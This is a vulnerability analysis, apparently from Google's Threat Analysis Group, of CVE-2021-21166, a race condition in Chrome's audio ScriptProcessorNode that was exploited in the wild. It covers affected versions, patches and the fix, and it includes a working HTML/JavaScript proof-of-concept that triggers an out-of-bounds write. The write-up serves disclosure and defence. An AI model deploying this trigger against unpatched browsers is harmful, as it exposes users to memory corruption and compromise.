CVE-2021-21166: Chrome Object Lifecycle Issue in Audio
Clement Lecigne, Google Threat Analysis Group
The Basics
Disclosure or Patch Date: 2 March 2021
Product: Google Chrome
Advisory: https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop.html
Affected Versions: 89.0.4389.69 and previous
First Patched Version: 89.0.4389.72
Issue/Bug Reports:
- https://bugs.chromium.org/p/chromium/issues/detail?id=1174582
- https://bugs.chromium.org/p/chromium/issues/detail?id=1181341
- https://bugs.chromium.org/p/chromium/issues/detail?id=1177465
Patch CL:
- https://chromium.googlesource.com/chromium/src/+/60987aa224f369fc0ea38c56e498389440921356
- https://chromium.googlesource.com/chromium/src/+/b9e60ddc7606689e508f295077656389380288ba
Bug-Introducing CL: N/A
Reporter(s): Alison Huffman of Microsoft Browser Vulnerability Research and Clement Lecigne of Google Threat Analysis Group
The Code
Proof-of-concept:
From crbug/1174582 by Alison Huffman of Microsoft Browser Vulnerability Research:
<html>
<body>
<script type="text/javascript">
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms))
}
async function run() {
let array = new Float32Array(Array(256));
let context = new AudioContext();
let node = context.createScriptProcessor();
let source = context.createBufferSource();
let buffer = context.createBuffer(1, 1024, context.sampleRate);
let data = buffer.getChannelData(0);
data.set(array);
source.buffer = buffer;
source.loop = true;
source.connect(node);
node.connect(context.destination);
let inputBuffer = null;
node.onaudioprocess = (event) => {
inputBuffer = event.inputBuffer.getChannelData(0);
node.onaudioprocess = undefined;
}
source.start();
await sleep(500);
while(true) {
// not thread safe on non-shared arrays
inputBuffer.sort()
}
}
</script>
<h1><a href="#" onclick="run()">Click Me!</a></h1>
</body>
</html>
Exploit sample: N/A
Did you have access to the exploit sample when doing the analysis? Yes
The Vulnerability
Bug class: Race Condition
Vulnerability details:
There is a threading issue in ScriptProcessorNode::process()
where input and
output shared buffers are accessible concurrently by other threads without proper
locking.
In the poc, inputBuffer
is accessed concurrently from the audio thread and
from the main thread at the same time causing an out-of-bounds write during std::sort()
.
The very same issue affected WebKit as well. We do not have any evidence that this vulnerability was used to target Safari users.
Patch analysis:
There were two different fixes implemented to address this bug:
- Expand the scope of the existing mutex by locking the entire scope of the
Process
call withinScriptProcessorNode
, and - Instead of sharing the buffers across the main and audio threads, creating new AudioBuffers for each
onAudioProcess
call.
Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):
(Historical/present/future) context of bug:
The Exploit
(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)
Exploit strategy (or strategies): Under analysis
Exploit flow: Under analysis
Known cases of the same exploit flow:
Part of an exploit chain?
This exploit was most likely chained with a sandbox escape that we did not manage to retrieve.
The Next Steps
Variant analysis
Areas/approach for variant analysis (and why):
Found variants:
Structural improvements
What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?
Ideas to kill the bug class:
Ideas to mitigate the exploit flow:
Other potential improvements:
According to this comment, this feature was deprecated from the spec years ago. Remove the code.
0-day detection methods
What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?
These types of exploits are likely hard to detect generically.
Other References
- July 2021: "How We Protect Users From 0-Day Attacks" by Google's Threat Analysis Group